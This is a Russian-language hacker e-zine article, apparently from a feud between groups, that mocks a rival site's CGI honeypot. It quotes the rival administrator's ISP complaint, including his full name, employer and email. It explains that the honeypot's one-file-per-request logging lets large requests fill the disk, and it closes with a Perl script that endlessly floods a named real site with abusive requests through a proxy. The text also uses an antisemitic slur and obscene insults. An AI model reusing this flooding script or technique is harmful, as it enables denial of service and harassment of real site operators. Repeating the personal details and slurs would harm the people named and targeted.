Abusing CGI-Honeypot

                                      aka

                       Honey Potter in The Chumber of Secret
    

   Предисловие
   -----------

   Очень часто  в  различных форумах можно слышать: "Хырь - сука", "Хырь -
   чмырь". Правда  ли  это, и если  да, то чем так всех достал пресловутый
   "эксперт"? Скажем так, у каждого свои причины  и доводы, мы же поведаем
   вам одну занимательную историю, произошедшую некоторое время назад.

   Как все  вы,  вероятно,  помните, прежнее  логово  хырей [ UkR Security
   Team ] распологалось  по адресу http://ust.icqinfo.ru. Был там довольно
   глупый  раздел, однако  ж  весьма  четко   отражающий   квалификацию  и
   увлечения авторов сайта, в который выкладывались информационные заметки
   об  атаках  или  "попытках вторжения"  на страничку UsT [ United States
   Teenagers ].

   Безусловно, скучные записи  вроде  "/cgi-bin/phf  attack  from 1.2.3.4"
   быстро приелись, в результате  чего возникла  идея  поправить ситуацию.
   Идея пришла, конечно же, не  на  пустом месте - главную роль тут сыграл
   недавний конфликт с Хырем. 

   Реализация проста и безобидна  -  составить  пару  нехитрых  запросов с
   целью  взбодрить  "неприятеля",  а  заодно  проверить, хватит ли у него
   смелости  выложить  их  в  вышеупомянутом  разделе.  Реакция, однако ж,
   оказалась самой сучьей,какую только можно представить: спустя некоторое
   время поступает следующее сообщение (орфография и пунктуация "эксперта"
   сохранены, "ds>" - наши комментарии):

   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
   From: "Павел Первин" <[email protected]>
   To: <support@*****.net>
   Cc: <webmaster@***.*****.net>
   Subject: "Хакер" или вопрос о вашем клиенте (complaine)

   ds> Что значит "complaine"? Вряд ли в саппорте знают китайский.

   Здраствуйте.
  
   ds> Превет

   Я администратор сайта http://ust.icqinfo.ru, посвященного исследованиям
   в области информационной безопасности.

   С  недавних  пор к  нашему ресурсу стал проявлять интерес один из ваших
   клиентов. Он  использует  в  сети  прозвище "euronymous". Его веб-сайт:
   http://f0kp.iplus.ru

   ds> Эту информацию он, конечно же, из полученных GET-запросов взял :). 

   То что его  деяния  подпадают под действие статьи 272 УК РФ - это  всем
   понятно, но опять же мной в суде недоказуемо.

   Мне  во  всем  этом не нравиться только его повышенное внимание к моему
   ресурсу.  На  нашем  сайте  установленна  моя  программа  (perl-скрипт)
   которая  считывает  переменные окружения при  запросах, на которые веб-
   сервер выдает ответы 404.

   ds> Здесь  прошу  обратить   особое  внимание  на  словосочетание  "моя 
   ds> программа".

   Это сделано для обнаружения атак на наш сервер.
   При обнаружении атаки скрипт обрабатывает это и посылает мне сообщение.
   Я рассмотрев его  публикую  на  сайт.  Этот  euronymous  не  зная этого
   механизма вмешивается в работу скрипта,тем самым увеличивая мне траффик
   (за который я плачу). Почему я сделал вывод что это ваш клиент ??

   ds>  Как  вы  прекрасно  понимаете,  пара  таких  запросов,  не создает
   ds>  большого  трафика  и, как  следствие, финансовых  затрат, особенно
   ds>  принимая во внимание то, что Хорь не платит за хостинг на icqinfo.

   Ответ:

   HTTP_VIA=1.1 *****.***.*****.net:3128 (Squid/2.4.STABLE7)
   REMOTE_ADDR=XXX.XXX.XX.XXX
   REMOTE_PORT=52573

   К   письму  присоединены  архивы  лишь только  с малой частью логов  за
   прошедшие 2 дня.

   ds>  На самом деле эти два или три запроса были растиражированы на кучу
   ds>  файлов, чтобы  придать  безобидной выходке характер "массированной
   ds>  атаки",  но учтите, что  присланные им 40 файлов - это лишь "малая
   ds>  часть логов".

   Я  прошу  вас  принять  какие-либо  действия  по  предотвращению данных
   инцидентов. В противном случае  мне придется  обращаться в компетентные
   органы.

   ds>  Зачем пугать своими органами если  это, как он сам сказал, "мной в
   ds>  суде недоказуемо"?

   ------------------------------------
   С уважением,
   Первин Павел Валерьевич
   Аналитик информационной безопасности ЗАО "Верофарм"
   email: [email protected]
   web: http://www.veropharm.ru
   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

   Во вложении было два архива с логами общей численностью 40 файлов [ aka
   "Хырь сделал copy-paste целых 40раз! mega-lol" (C)]. Вот пара примеров:

   < skip>
   REQUEST_METHOD=GET
   REQUEST_URI=/XO4Y_YBuDETb_CBOu_URLs_B_ATTACK...TAK_Ty_BOPOHA_uJIu_nETYX??
   SCRIPT_FILENAME=/pub/home/icqinfo2//ust/cgi-bin/honeypot.pl
   SCRIPT_NAME=/cgi-bin/honeypot.pl
   SERVER_ADDR=62.118.251.45
   [email protected]
   SERVER_NAME=ust.icqinfo.ru
   SERVER_PORT=80
   SERVER_PROTOCOL=HTTP/1.0
   SERVER_SOFTWARE=Apache/1.3.27 (Unix) FrontPage/5.0.2.2623 PHP/4.3.2 mod
   _gzip/1.3.19.1a mod_accounting/1.0 mod_fastcgi/2.4.0 mod_ssl/2.8.14 
   OpenSSL/0.9.7b rus/PL30.17
   </ skip>

   < skip>
   REQUEST_METHOD=GET
   REQUEST_URI=/urk_Xb|P_SUCK_MY_DICK
   SCRIPT_FILENAME=/pub/home/icqinfo2//ust/cgi-bin/honeypot.pl
   SCRIPT_NAME=/cgi-bin/honeypot.pl
   SERVER_ADDR=62.118.251.45
   [email protected]
   SERVER_NAME=ust.icqinfo.ru
   SERVER_PORT=80
   SERVER_PROTOCOL=HTTP/1.0
   SERVER_SOFTWARE=Apache/1.3.27 (Unix) FrontPage/5.0.2.2623 PHP/4.3.2 mod
   _gzip/1.3.19.1a mod_accounting/1.0 mod_fastcgi/2.4.0 mod_ssl/2.8.14 
   OpenSSL/0.9.7b rus/PL30.17
   </ skip>

   Вот  такими  вот  откровенно  жидовскими и низкими методами  защищаются 
   "аналитики информационной безопасности".  И  это далеко не единственный
   случай: все вы прекрасно  помните  поданное на  DHG заявление по делу о
   "Дефейсе ust.icqinfo.ru".

   На  этом наше  небольшое  предисловие  заканчивается.  Теперь  перейдем
   непосредственно к содержанию. Как вы могли узнать выше, Хорь утверждал,
   что honeypot.pl - это его программа.. 

   На  сайте  http://www.meow.org.uk/stan/pet_projects/honeypot.html   был
   найден исходник скрипта (судя по всему украденного у urk team), схожего
   по содержанию  с  тем,  что  был на сайте укропов. Различался он только
   одной "значимой" строкой: 

   Из http://www.meow.org.uk/stan/pet_projects/honeypot.pl:

   """
   <h1>exploit unsuccessful</h1>
   This is <em>not</em> the script you're looking for.  Move along.
   This is a program to catch people trying to exploit insecurities
   in common CGIs.<br>

   Your details have been recorded, including the data you submitted 
   and your IP address ${ip_addr}.

   Repeated attempts to exploit this server will result in you 
   being reported to your ISP.
   """

   Из 62.118.251.45:/pub/home/icqinfo2/ust/cgi-bin/honeypot.pl:

   """
   <h1>exploit unsuccessful</h1>
   This is <em>not</em> the script you're looking for.  Move along.
   This is a program to catch people trying to exploit insecurities
   in common CGIs.<br>

   Your details have been recorded, including the data you submitted 
   and your IP address ${ip_addr}.

   Repeated attempts to exploit this server will result in you 
   being reported to your ISP.<br>
                               
   - - - UkR security team - - -
   """

   Вот собственно и весь "код" от горе-"программиста" Херя :). 

   Бесполезность этого скрипта налицо: он запишет в лог только обращения к
   несуществующим  файлам  (смотрите  настройку  апача  по ссылке выше), и
   успешно  пропустит  атаки  на  существующие  на сайте приложения. Кроме
   того, каждая  "попытка вторжения" записывается в отдельный лог-файл, то
   есть logrotate здесь не прокатит,  поэтому, если нет  квот  на дисковое
   пространство (как в случае с сайтом urk), можно будет весьма быстро его
   заполнить большими запросами. 

   Ну и напоследок очередной 11337 w4r3z в помощь :).
                   << возможно придется что-то поправить :) >>

   #!/usr/bin/perl

   use Socket;

   # config
   $host = "ust.icqinfo.ru"; # ur favorite site
   $proxy = "127.0.0.1";     # proxy host
   $pport = 8080;            # proxy port

   # message u wanna send 2 United States Teenagers:
   $message = "XbIP_YOU_DUMB_MOTHERFUCKIN_ASSHOLE_U_MUST_DIE_h0n0no";

   # your 11337 user-agent  ;) 
   $user_agent = "XbIp_ye6ak/compatible";

   # end of config

   $header = "GET $host/\r\r$message HTTP/1.1\r\n";
   $header .= "Host: $host\r\n";
   $header .= "Accept: */*\r\n";
   $header .= "User-Agent: $user-agent\r\n\r\n\r\n";

   while (1)  # until u shut it down )
   {
     socket(S, AF_INET, SOCK_STREAM, 0);
  
     if (!connect(S, sockaddr_in($pport, inet_aton($proxy))
     {
       print "[-] cant connect to proxy\n";
       exit;
     }

     send(S, $header, 0);
     close(S);
   }  

   # eof?